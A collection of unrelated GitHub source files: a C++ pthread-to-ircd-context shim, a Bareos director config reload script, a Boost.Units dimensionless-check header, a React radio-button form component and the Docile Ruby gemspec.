namespace ircd::ctx::posix
{
static bool is(const pthread_t &) noexcept;
extern std::vector<context> ctxs;
extern log::log log;
}
using ircd::always_assert;
decltype(ircd::ctx::posix::log)
ircd::ctx::posix::log
{
"ctx.posix"
};
decltype(ircd::ctx::posix::ctxs)
ircd::ctx::posix::ctxs;
#define IRCD_WRAP(symbol, target, prototype, body) \
extern "C" int __real_##symbol prototype; \
extern "C" int __wrap_##symbol prototype body \
extern "C" int symbol prototype __attribute__((weak, alias(target)));
///////////////////////////////////////////////////////////////////////////////
//
// pthread supplement
//
IRCD_WRAP(pthread_create, "__wrap_pthread_create",
(
pthread_t *const thread,
const pthread_attr_t *const attr,
void *(*const start_routine)(void *),
void *const arg
), {
return ircd::ctx::current?
ircd_pthread_create(thread, attr, start_routine, arg):
__real_pthread_create(thread, attr, start_routine, arg);
})
int
ircd_pthread_create(pthread_t *const thread,
const pthread_attr_t *const attr,
void *(*const start_routine)(void *),
void *const arg)
noexcept
{
assert(thread);
assert(start_routine);
ircd::ctx::posix::ctxs.emplace_back(ircd::context
{
"pthread",
1024 * 1024 * 1UL,
ircd::context::POST,
std::bind(start_routine, arg),
});
*thread = id(ircd::ctx::posix::ctxs.back());
ircd::log::debug
{
ircd::ctx::posix::log, "pthread_create id:%lu attr:%p func:%p arg:%p",
*thread,
attr,
start_routine,
arg
};
return 0;
}
IRCD_WRAP(pthread_join, "__wrap_pthread_join",
(
pthread_t __th,
void **__thread_return
), {
return ircd::ctx::posix::is(__th)?
ircd_pthread_join(__th, __thread_return):
__real_pthread_join(__th, __thread_return);
})
int
ircd_pthread_join(pthread_t __th,
void **__thread_return)
{
ircd::log::debug
{
ircd::ctx::posix::log, "pthread_join id:%lu thread_return:%p",
__th,
__thread_return,
};
auto it(begin(ircd::ctx::posix::ctxs));
while(it != end(ircd::ctx::posix::ctxs))
{
if(id(*it) == __th)
{
it->join();
it = ircd::ctx::posix::ctxs.erase(it);
break;
}
else ++it;
}
if(__thread_return)
*__thread_return = PTHREAD_CANCELED;
return 0;
}
int
ircd_pthread_tryjoin_np(pthread_t __th,
void **__thread_return)
{
always_assert(false);
return EINVAL;
}
IRCD_WRAP(pthread_timedjoin_np, "__wrap_pthread_timedjoin_np",
(
pthread_t __th,
void **__thread_return,
const struct timespec *__abstime
), {
return ircd::ctx::posix::is(__th)?
ircd_pthread_timedjoin_np(__th, __thread_return, __abstime):
__real_pthread_timedjoin_np(__th, __thread_return, __abstime);
});
int
ircd_pthread_timedjoin_np(pthread_t __th,
void **__thread_return,
const struct timespec *__abstime)
{
//TODO: XXX ctx timed join
ircd_pthread_join(__th, __thread_return);
return 0;
}
void
ircd_pthread_exit(void *const retval)
{
always_assert(false);
__builtin_unreachable();
}
int
ircd_pthread_detach(pthread_t __th)
noexcept
{
always_assert(false);
return EINVAL;
}
extern "C" pthread_t
__real_pthread_self(void);
extern "C" pthread_t
__wrap_pthread_self(void)
{
return ircd::ctx::current?
ircd_pthread_self():
__real_pthread_self();
}
#if 0
extern "C" pthread_t
pthread_self(void)
__attribute__((weak, alias("__wrap_pthread_self")));
#endif
pthread_t
ircd_pthread_self(void)
noexcept
{
assert(ircd::ctx::current);
return id(ircd::ctx::cur());
}
int
ircd_pthread_getcpuclockid(pthread_t __thread_id,
__clockid_t *__clock_id)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_atfork(void (*__prepare)(void),
void (*__parent)(void),
void (*__child)(void))
noexcept
{
always_assert(false);
return EINVAL;
}
//
// Initialization
//
int
ircd_pthread_once(pthread_once_t *__once_control,
void (*__init_routine)(void))
{
static_assert(sizeof(std::atomic<int>) == sizeof(pthread_once_t));
auto *const _once_control
{
reinterpret_cast<std::atomic<int> *>(__once_control)
};
const int once_control
{
std::atomic_exchange(_once_control, 1)
};
assert(once_control == 1 || once_control == 0);
if(likely(once_control == 0))
__init_routine();
return 0;
}
//
// Cancellation
//
int
ircd_pthread_setcancelstate(int __state,
int *__oldstate)
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_setcanceltype(int __type,
int *__oldtype)
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_cancel(pthread_t __th)
{
always_assert(false);
return EINVAL;
}
void
ircd_pthread_testcancel(void)
{
always_assert(false);
}
//
// Scheduling
//
int
ircd_pthread_setschedparam(pthread_t __target_thread,
int __policy,
const struct sched_param *__param)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_getschedparam(pthread_t __target_thread,
int *__restrict __policy,
struct sched_param *__restrict __param)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_setschedprio(pthread_t __target_thread,
int __prio)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_getname_np(pthread_t __target_thread,
char *__buf,
size_t __buflen)
noexcept
{
always_assert(false);
return EINVAL;
}
IRCD_WRAP(pthread_setname_np, "__wrap_pthread_setname_np",
(
pthread_t __target_thread,
const char *__name
), {
return ircd::ctx::posix::is(__target_thread)?
ircd_pthread_setname_np(__target_thread, __name):
__real_pthread_setname_np(__target_thread, __name);
})
int
ircd_pthread_setname_np(pthread_t __target_thread,
const char *__name)
noexcept
{
//TODO: settable names in ircd::ctx
return 0;
}
int
ircd_pthread_getconcurrency(void)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_setconcurrency(int __level)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_setaffinity_np(pthread_t __th,
size_t __cpusetsize,
const cpu_set_t *__cpuset)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_getaffinity_np(pthread_t __th,
size_t __cpusetsize,
cpu_set_t *__cpuset)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_yield(void)
noexcept
{
assert(ircd::ctx::current);
ircd::ctx::yield();
return 0;
}
//
// Attributes
//
int
ircd_pthread_attr_init(pthread_attr_t *__attr)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_destroy(pthread_attr_t *__attr)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_getdetachstate(const pthread_attr_t *__attr,
int *__detachstate)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_setdetachstate(pthread_attr_t *__attr,
int __detachstate)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_getguardsize(const pthread_attr_t *__attr,
size_t *__guardsize)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_setguardsize(pthread_attr_t *__attr,
size_t __guardsize)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_getschedparam(const pthread_attr_t *__restrict __attr,
struct sched_param *__restrict __param)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_setschedparam(pthread_attr_t *__restrict __attr,
const struct sched_param *__restrict __param)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_getschedpolicy(const pthread_attr_t *__restrict __attr,
int *__restrict __policy)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_setschedpolicy(pthread_attr_t *__attr,
int __policy)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_getinheritsched(const pthread_attr_t *__restrict __attr,
int *__restrict __inherit)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_setinheritsched(pthread_attr_t *__attr,
int __inherit)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_getscope(const pthread_attr_t *__restrict __attr,
int *__restrict __scope)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_setscope(pthread_attr_t *__attr,
int __scope)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_getstackaddr(const pthread_attr_t *__restrict __attr,
void **__restrict __stackaddr)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_setstackaddr(pthread_attr_t *__attr,
void *__stackaddr)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_getstacksize(const pthread_attr_t *__restrict __attr,
size_t *__restrict __stacksize)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_setstacksize(pthread_attr_t *__attr,
size_t __stacksize)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_getstack(const pthread_attr_t *__restrict __attr,
void **__restrict __stackaddr,
size_t *__restrict __stacksize)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_setstack(pthread_attr_t *__attr,
void *__stackaddr,
size_t __stacksize)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_setaffinity_np(pthread_attr_t *__attr,
size_t __cpusetsize,
const cpu_set_t *__cpuset)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_attr_getaffinity_np(const pthread_attr_t *__attr,
size_t __cpusetsize,
cpu_set_t *__cpuset)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_getattr_default_np(pthread_attr_t *__attr)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_setattr_default_np(const pthread_attr_t *__attr)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_getattr_np(pthread_t __th,
pthread_attr_t *__attr)
noexcept
{
always_assert(false);
return EINVAL;
}
///////////////////////////////////////////////////////////////////////////////
//
// Thread-Local
//
int
ircd_pthread_key_create(pthread_key_t *__key,
void (*__destr_function)(void *))
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_key_delete(pthread_key_t __key)
noexcept
{
always_assert(false);
return EINVAL;
}
void *
ircd_pthread_getspecific(pthread_key_t __key)
noexcept
{
always_assert(false);
return nullptr;
}
int
ircd_pthread_setspecific(pthread_key_t __key,
const void *__pointer)
noexcept
{
always_assert(false);
return EINVAL;
}
///////////////////////////////////////////////////////////////////////////////
//
// Spinlock
//
int
ircd_pthread_spin_init(pthread_spinlock_t *__lock,
int __pshared)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_spin_destroy(pthread_spinlock_t *__lock)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_spin_lock(pthread_spinlock_t *__lock)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_spin_trylock(pthread_spinlock_t *__lock)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_spin_unlock(pthread_spinlock_t *__lock)
noexcept
{
always_assert(false);
return EINVAL;
}
///////////////////////////////////////////////////////////////////////////////
//
// Mutex
//
int
ircd_pthread_mutex_init(pthread_mutex_t *__mutex,
const pthread_mutexattr_t *__attr)
noexcept
{
static_assert(sizeof(ircd::ctx::mutex) <= sizeof(pthread_mutex_t));
assert(__mutex);
//assert(__attr);
auto *const mutex
{
reinterpret_cast<ircd::ctx::mutex *>(__mutex)
};
new (mutex) ircd::ctx::mutex;
return 0;
}
int
ircd_pthread_mutex_destroy(pthread_mutex_t *__mutex)
noexcept
{
assert(__mutex);
auto *const mutex
{
reinterpret_cast<ircd::ctx::mutex *>(__mutex)
};
if(unlikely(mutex->locked()))
return EBUSY;
mutex->~mutex();
return 0;
}
int
ircd_pthread_mutex_trylock(pthread_mutex_t *__mutex)
noexcept
{
assert(__mutex);
auto *const mutex
{
reinterpret_cast<ircd::ctx::mutex *>(__mutex)
};
if(!mutex->try_lock())
return EBUSY;
return 0;
}
int
ircd_pthread_mutex_lock(pthread_mutex_t *__mutex)
noexcept
{
assert(__mutex);
auto *const mutex
{
reinterpret_cast<ircd::ctx::mutex *>(__mutex)
};
#ifdef IRCD_PTHREAD_DEADLK_CHK
if(unlikely(mutex->m == ircd::ctx::current))
return EDEADLK;
#endif
mutex->lock();
return 0;
}
int
ircd_pthread_mutex_timedlock(pthread_mutex_t *__restrict __mutex,
const struct timespec *__restrict __abstime)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutex_clocklock(pthread_mutex_t *__restrict __mutex,
clockid_t __clockid,
const struct timespec *__restrict __abstime)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutex_unlock(pthread_mutex_t *__mutex)
noexcept
{
assert(__mutex);
auto *const mutex
{
reinterpret_cast<ircd::ctx::mutex *>(__mutex)
};
if(unlikely(mutex->m != ircd::ctx::current))
return EPERM;
mutex->unlock();
return 0;
}
int
ircd_pthread_mutex_getprioceiling(const pthread_mutex_t *__restrict __mutex,
int *__restrict __prioceiling)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutex_setprioceiling(pthread_mutex_t *__restrict __mutex,
int __prioceiling,
int *__restrict __old_ceiling)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutex_consistent(pthread_mutex_t *__mutex)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutex_consistent_np(pthread_mutex_t *__mutex)
noexcept
{
always_assert(false);
return EINVAL;
}
//
// Mutex Attributes
//
int
ircd_pthread_mutexattr_init(pthread_mutexattr_t *__attr)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutexattr_destroy(pthread_mutexattr_t *__attr)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutexattr_getpshared(const pthread_mutexattr_t *__restrict __attr,
int *__restrict __pshared)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutexattr_setpshared(pthread_mutexattr_t *__attr,
int __pshared)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutexattr_gettype(const pthread_mutexattr_t *__restrict __attr,
int *__restrict __kind)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutexattr_settype(pthread_mutexattr_t *__attr,
int __kind)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutexattr_getprotocol(const pthread_mutexattr_t *__restrict __attr,
int *__restrict __protocol)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutexattr_setprotocol(pthread_mutexattr_t *__attr,
int __protocol)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutexattr_getprioceiling(const pthread_mutexattr_t *__restrict __attr,
int *__restrict __prioceiling)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutexattr_setprioceiling(pthread_mutexattr_t *__attr,
int __prioceiling)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutexattr_getrobust(const pthread_mutexattr_t *__attr,
int *__robustness)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutexattr_getrobust_np(const pthread_mutexattr_t *__attr,
int *__robustness)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutexattr_setrobust(pthread_mutexattr_t *__attr,
int __robustness)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_mutexattr_setrobust_np(pthread_mutexattr_t *__attr,
int __robustness)
noexcept
{
always_assert(false);
return EINVAL;
}
///////////////////////////////////////////////////////////////////////////////
//
// Shared Mutex
//
int
ircd_pthread_rwlock_init(pthread_rwlock_t *__restrict __rwlock,
const pthread_rwlockattr_t *__restrict __attr)
noexcept
{
static_assert(sizeof(ircd::ctx::shared_mutex) <= sizeof(pthread_rwlock_t));
assert(__rwlock);
//assert(__attr);
auto *const shared_mutex
{
reinterpret_cast<ircd::ctx::shared_mutex *>(__rwlock)
};
new (shared_mutex) ircd::ctx::shared_mutex;
return 0;
}
int
ircd_pthread_rwlock_destroy(pthread_rwlock_t *__rwlock)
noexcept
{
assert(__rwlock);
auto *const shared_mutex
{
reinterpret_cast<ircd::ctx::shared_mutex *>(__rwlock)
};
const bool busy
{
!shared_mutex->can_lock_upgrade()
|| shared_mutex->shares()
|| shared_mutex->waiting()
};
if(unlikely(busy))
return EBUSY;
shared_mutex->~shared_mutex();
return 0;
}
int
ircd_pthread_rwlock_rdlock(pthread_rwlock_t *__rwlock)
noexcept
{
assert(__rwlock);
auto *const shared_mutex
{
reinterpret_cast<ircd::ctx::shared_mutex *>(__rwlock)
};
shared_mutex->lock_shared();
return 0;
}
int
ircd_pthread_rwlock_tryrdlock(pthread_rwlock_t *__rwlock)
noexcept
{
assert(__rwlock);
auto *const shared_mutex
{
reinterpret_cast<ircd::ctx::shared_mutex *>(__rwlock)
};
if(!shared_mutex->try_lock_shared())
return EBUSY;
return 0;
}
int
ircd_pthread_rwlock_timedrdlock(pthread_rwlock_t *__restrict __rwlock,
const struct timespec *__restrict __abstime)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_rwlock_clockrdlock(pthread_rwlock_t *__restrict __rwlock,
clockid_t __clockid,
const struct timespec *__restrict __abstime)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_rwlock_wrlock(pthread_rwlock_t *__rwlock)
noexcept
{
assert(__rwlock);
auto *const shared_mutex
{
reinterpret_cast<ircd::ctx::shared_mutex *>(__rwlock)
};
#ifdef IRCD_PTHREAD_DEADLK_CHK
if(unlikely(shared_mutex->u == ircd::ctx::current))
return EDEADLK;
#endif
shared_mutex->lock();
return 0;
}
int
ircd_pthread_rwlock_trywrlock(pthread_rwlock_t *__rwlock)
noexcept
{
assert(__rwlock);
auto *const shared_mutex
{
reinterpret_cast<ircd::ctx::shared_mutex *>(__rwlock)
};
if(!shared_mutex->try_lock())
return EBUSY;
return 0;
}
int
ircd_pthread_rwlock_timedwrlock(pthread_rwlock_t *__restrict __rwlock,
const struct timespec *__restrict __abstime)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_rwlock_clockwrlock(pthread_rwlock_t *__restrict __rwlock,
clockid_t __clockid,
const struct timespec *__restrict __abstime)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_rwlock_unlock(pthread_rwlock_t *__rwlock)
noexcept
{
assert(__rwlock);
auto *const shared_mutex
{
reinterpret_cast<ircd::ctx::shared_mutex *>(__rwlock)
};
// pthread interface has no rdunlock() and wrunlock() so we have to branch
if(shared_mutex->unique())
{
if(unlikely(shared_mutex->u != ircd::ctx::current))
return EPERM;
shared_mutex->unlock();
return 0;
}
if(unlikely(shared_mutex->unique() || !shared_mutex->shares()))
return EPERM;
shared_mutex->unlock_shared();
return 0;
}
//
// Shared Mutex Attributes
//
int
ircd_pthread_rwlockattr_init(pthread_rwlockattr_t *__attr)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_rwlockattr_destroy(pthread_rwlockattr_t *__attr)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_rwlockattr_getpshared(const pthread_rwlockattr_t *__restrict __attr,
int *__restrict __pshared)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_rwlockattr_setpshared(pthread_rwlockattr_t *__attr,
int __pshared)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_rwlockattr_getkind_np(const pthread_rwlockattr_t *__restrict __attr,
int *__restrict __pref)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_rwlockattr_setkind_np(pthread_rwlockattr_t *__attr,
int __pref)
noexcept
{
always_assert(false);
return EINVAL;
}
///////////////////////////////////////////////////////////////////////////////
//
// Condition Variable
//
int
ircd_pthread_cond_init(pthread_cond_t *__restrict __cond,
const pthread_condattr_t *__restrict __cond_attr)
noexcept
{
static_assert(sizeof(ircd::ctx::condition_variable) <= sizeof(pthread_cond_t));
assert(__cond);
//assert(__cond_attr);
auto *const condition_variable
{
reinterpret_cast<ircd::ctx::condition_variable *>(__cond)
};
new (condition_variable) ircd::ctx::condition_variable;
return 0;
}
int
ircd_pthread_cond_destroy(pthread_cond_t *__cond)
noexcept
{
assert(__cond);
auto *const condition_variable
{
reinterpret_cast<ircd::ctx::condition_variable *>(__cond)
};
const bool busy
{
!condition_variable->empty()
};
if(unlikely(busy))
return EBUSY;
condition_variable->~condition_variable();
return 0;
}
int
ircd_pthread_cond_signal(pthread_cond_t *__cond)
noexcept
{
auto *const condition_variable
{
reinterpret_cast<ircd::ctx::condition_variable *>(__cond)
};
condition_variable->notify();
return 0;
}
int
ircd_pthread_cond_broadcast(pthread_cond_t *__cond)
noexcept
{
auto *const condition_variable
{
reinterpret_cast<ircd::ctx::condition_variable *>(__cond)
};
condition_variable->notify_all();
return 0;
}
int
ircd_pthread_cond_wait(pthread_cond_t *const __restrict __cond,
pthread_mutex_t *const __restrict __mutex)
{
assert(__cond);
assert(__mutex);
auto *const condition_variable
{
reinterpret_cast<ircd::ctx::condition_variable *>(__cond)
};
auto *const mutex
{
reinterpret_cast<ircd::ctx::mutex *>(__mutex)
};
condition_variable->wait(*mutex);
return 0;
}
int
ircd_pthread_cond_timedwait(pthread_cond_t *const __restrict __cond,
pthread_mutex_t *const __restrict __mutex,
const struct timespec *__restrict __abstime)
{
using namespace std::chrono;
assert(__cond);
assert(__mutex);
assert(__abstime);
auto *const condition_variable
{
reinterpret_cast<ircd::ctx::condition_variable *>(__cond)
};
auto *const mutex
{
reinterpret_cast<ircd::ctx::mutex *>(__mutex)
};
const nanoseconds epoch
{
seconds(__abstime->tv_sec) +
nanoseconds(__abstime->tv_nsec)
};
const time_point<system_clock, nanoseconds> time_point
{
epoch
};
const std::cv_status cv_status
{
condition_variable->wait_until(*mutex, time_point)
};
if(cv_status == std::cv_status::timeout)
return ETIMEDOUT;
return 0;
}
int
ircd_pthread_cond_clockwait(pthread_cond_t *__restrict __cond,
pthread_mutex_t *__restrict __mutex,
__clockid_t __clock_id,
const struct timespec *__restrict __abstime)
{
always_assert(false);
return EINVAL;
}
//
// Condition Variable Attributes
//
int
ircd_pthread_condattr_init(pthread_condattr_t *__attr)
noexcept
{
assert(__attr);
memset(__attr, 0x0, sizeof(pthread_condattr_t));
return 0;
}
int
ircd_pthread_condattr_destroy(pthread_condattr_t *__attr)
noexcept
{
return 0;
}
int
ircd_pthread_condattr_getpshared(const pthread_condattr_t *__restrict __attr,
int *__restrict __pshared)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_condattr_setpshared(pthread_condattr_t *__attr,
int __pshared)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_condattr_getclock(const pthread_condattr_t *__restrict __attr,
__clockid_t *__restrict __clock_id)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_condattr_setclock(pthread_condattr_t *__attr,
__clockid_t __clock_id)
noexcept
{
always_assert(false);
return EINVAL;
}
///////////////////////////////////////////////////////////////////////////////
//
// Barrier
//
int
ircd_pthread_barrier_init(pthread_barrier_t *__restrict __barrier,
const pthread_barrierattr_t *__restrict __attr,
unsigned int __count)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_barrier_destroy(pthread_barrier_t *__barrier)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_barrier_wait(pthread_barrier_t *__barrier)
noexcept
{
always_assert(false);
return EINVAL;
}
//
// Barrier Attributes
//
int
ircd_pthread_barrierattr_init(pthread_barrierattr_t *__attr)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_barrierattr_destroy(pthread_barrierattr_t *__attr)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_barrierattr_getpshared(const pthread_barrierattr_t *__restrict __attr,
int *__restrict __pshared)
noexcept
{
always_assert(false);
return EINVAL;
}
int
ircd_pthread_barrierattr_setpshared(pthread_barrierattr_t *__attr,
int __pshared)
noexcept
{
always_assert(false);
return EINVAL;
}
//
// util
//
bool
ircd::ctx::posix::is(const pthread_t &target)
noexcept
{
const auto it
{
std::find_if(begin(ctxs), end(ctxs), [&]
(const auto &context)
{
return id(context) == target;
})
};
return it != end(ctxs);
}
| {
"pile_set_name": "Github"
} |
#! /bin/sh
#
# breload This shell script takes care of reloading the director after
# a backup of the configuration and a bareos-dir -t test
#
#
BACDIRBIN=/sbin
BACDIRCFG=/etc/bareos
BACWORKDIR=/var/bareos/working
BACBKPDIR=$BACWORKDIR/bkp
Bareos="Bareos"
DIR_USER=
RET=0
if [ -x ${BACDIRBIN}/bareos-dir -a -r ${BACDIRCFG}/bareos-dir.conf ]; then
echo "Testing the $Bareos Director daemon configuration"
if [ $(whoami) != "$DIR_USER" ]; then
USER_OPT="-u $DIR_USER"
fi
${BACDIRBIN}/bareos-dir -t $USER_OPT -c ${BACDIRCFG}/bareos-dir.conf
RET=$?
if [ $RET = 0 ]; then
if [ ! -d $BACBKPDIR ]; then
echo "Creating Backup configuration directory"
mkdir -p $BACBKPDIR
chmod 700 $BACBKPDIR
chown $DIR_USER $BACBKPDIR
fi
if [ -d $BACBKPDIR ]; then
echo "Backup configuration"
tar cfz $BACBKPDIR/bareos-dir-conf.$(date +%s).tgz $BACDIRCFG/*conf
fi
echo reload | ${BACDIRBIN}/bconsole >/dev/null
echo "Reloading configuration"
else
echo "Can't reload configuration, please correct errors first"
fi
fi
exit $RET
| {
"pile_set_name": "Github"
} |
// Boost.Units - A C++ library for zero-overhead dimensional analysis and
// unit/quantity manipulation and conversion
//
// Copyright (C) 2003-2008 Matthias Christian Schabel
// Copyright (C) 2008 Steven Watanabe
//
// Distributed under the Boost Software License, Version 1.0. (See
// accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#ifndef BOOST_UNITS_IS_DIMENSIONLESS_HPP
#define BOOST_UNITS_IS_DIMENSIONLESS_HPP
///
/// \file
/// \brief Check if a unit or quantity is dimensionless.
///
#include <boost/mpl/bool.hpp>
#include <boost/units/units_fwd.hpp>
namespace boost {
namespace units {
template<class T>
struct is_dimensionless :
public mpl::false_
{ };
/// Check if a unit is dimensionless.
template<class System>
struct is_dimensionless< unit<dimensionless_type,System> > :
public mpl::true_
{ };
/// Check if a quantity is dimensionless.
template<class Unit,class Y>
struct is_dimensionless< quantity<Unit,Y> > :
public is_dimensionless<Unit>
{ };
} // namespace units
} // namespace boost
#endif // BOOST_UNITS_IS_DIMENSIONLESS_HPP
| {
"pile_set_name": "Github"
} |
// @flow
import React from 'react';
import { useState } from 'react';
import { InputBase } from './InputBase';
import { FormContext } from './Form';
import styles from './Radio.css';
type Props = {
/** Items to display in an array of objects with label and value properties. */
items: Array<{label: string, value: string}>,
/** Show the choices in a line or not */
inline?: boolean,
/** Whether to let the user input another value than the proposed ones */
openOption?: boolean,
/** CSS class for the <input> element */
inputClass?: string,
/** name of the field to map in the form model */
name: string,
/** Default value if none is set */
defaultValue?: string,
/** Label to display for the field */
label?: string,
/** Hint string to display */
hint?: string,
/** CSS class to use for the label */
labelClass?: string,
/** CSS class to use for the <div> element wrapping the field input part */
divClass?: string,
/** Indicates whether the field is required in the form */
required?: boolean,
/** Indicates whether the field is disabled */
disabled?: boolean,
/** Hint to display on a validation error */
invalidHint?: string,
/** Function to call when the data model needs to be changed.
* Takes a name and a value parameter.
*/
onChange?: (name: string, value: string) => void,
};
export function Radio(props: Props) {
const [isPristine, setIsPristine] = useState(true);
const {
items,
inputClass,
...propsToPass
} = props;
const formContext = React.useContext(FormContext);
return (
<InputBase {...propsToPass}>
{
({
setValue,
onBlur,
}) => {
const onChange = (name, value) => {
setValue(name, value);
setIsPristine(false);
};
const fieldValue = (formContext.model || {})[props.name] || props.defaultValue || '';
const isOpenOption = props.openOption
&& !props.items.some(item => item.value === fieldValue)
&& (fieldValue || !isPristine);
const radioClass = props.inline ? "radio-inline" : "radio";
return (
<span className={styles.radio}>
{
props.items.map(({label, value}) =>
<label className={radioClass}>
<input
type="radio"
name={props.name}
value={value}
checked={fieldValue === value}
className={inputClass}
onBlur={onBlur}
onChange={event => onChange(event.target.name, event.target.value)} />
{label}
</label>
)
}
{
props.openOption &&
<div className={`radio ${styles['open_option_wrapper']}`}>
<label className={`radio-inline ${styles.open_option_wrapper_align_wrapper}`}>
<input
className={styles.open_option_wrapper_align_content}
type="radio"
name={props.name}
checked={isOpenOption}
onChange={() => onChange(props.name, '')}
/>
{"Other keyword: "}
</label>
<input
name={props.name}
type="text"
disabled={!isOpenOption}
value={isOpenOption ? fieldValue : ''}
onChange={event => onChange(event.target.name, event.target.value)}
/>
</div>
}
</span>
);
}
}
</InputBase>
);
}
Radio.defaultProps = {
inline: false,
openOption: false,
inputClass: undefined,
defaultValue: undefined,
label: undefined,
hint: undefined,
labelClass: undefined,
divClass: undefined,
required: false,
disabled: false,
invalidHint: undefined,
onChange: undefined,
};
| {
"pile_set_name": "Github"
} |
$:.push File.expand_path("../lib", __FILE__)
require File.expand_path("on_what", File.dirname(__FILE__))
require "docile/version"
Gem::Specification.new do |s|
s.name = "docile"
s.version = Docile::VERSION
s.author = "Marc Siegel"
s.email = "[email protected]"
s.homepage = "https://ms-ati.github.io/docile/"
s.summary = "Docile keeps your Ruby DSLs tame and well-behaved."
s.description = "Docile treats the methods of a given ruby object as a DSL " \
"(domain specific language) within a given block. \n\n" \
"Killer feature: you can also reference methods, instance " \
"variables, and local variables from the original (non-DSL) "\
"context within the block. \n\n" \
"Docile releases follow Semantic Versioning as defined at " \
"semver.org."
s.license = "MIT"
# Files included in the gem
s.files = `git ls-files -z`.split("\x0").reject do |f|
f.match(%r{^(test|spec|features)/})
end
s.require_paths = ["lib"]
# Specify oldest supported Ruby version
s.required_ruby_version = ">= 1.8.7"
# Run rspec tests from rake even on old Ruby versions
s.add_development_dependency "rake", "~> 10.5" if on_less_than_1_9_3? # Pin compatible rake on old rubies, see: https://github.com/travis-ci/travis.rb/issues/380
s.add_development_dependency "rake", "< 11.0" unless on_less_than_1_9_3? # See http://stackoverflow.com/questions/35893584/nomethoderror-undefined-method-last-comment-after-upgrading-to-rake-11
s.add_development_dependency "rspec", "~> 3.0"
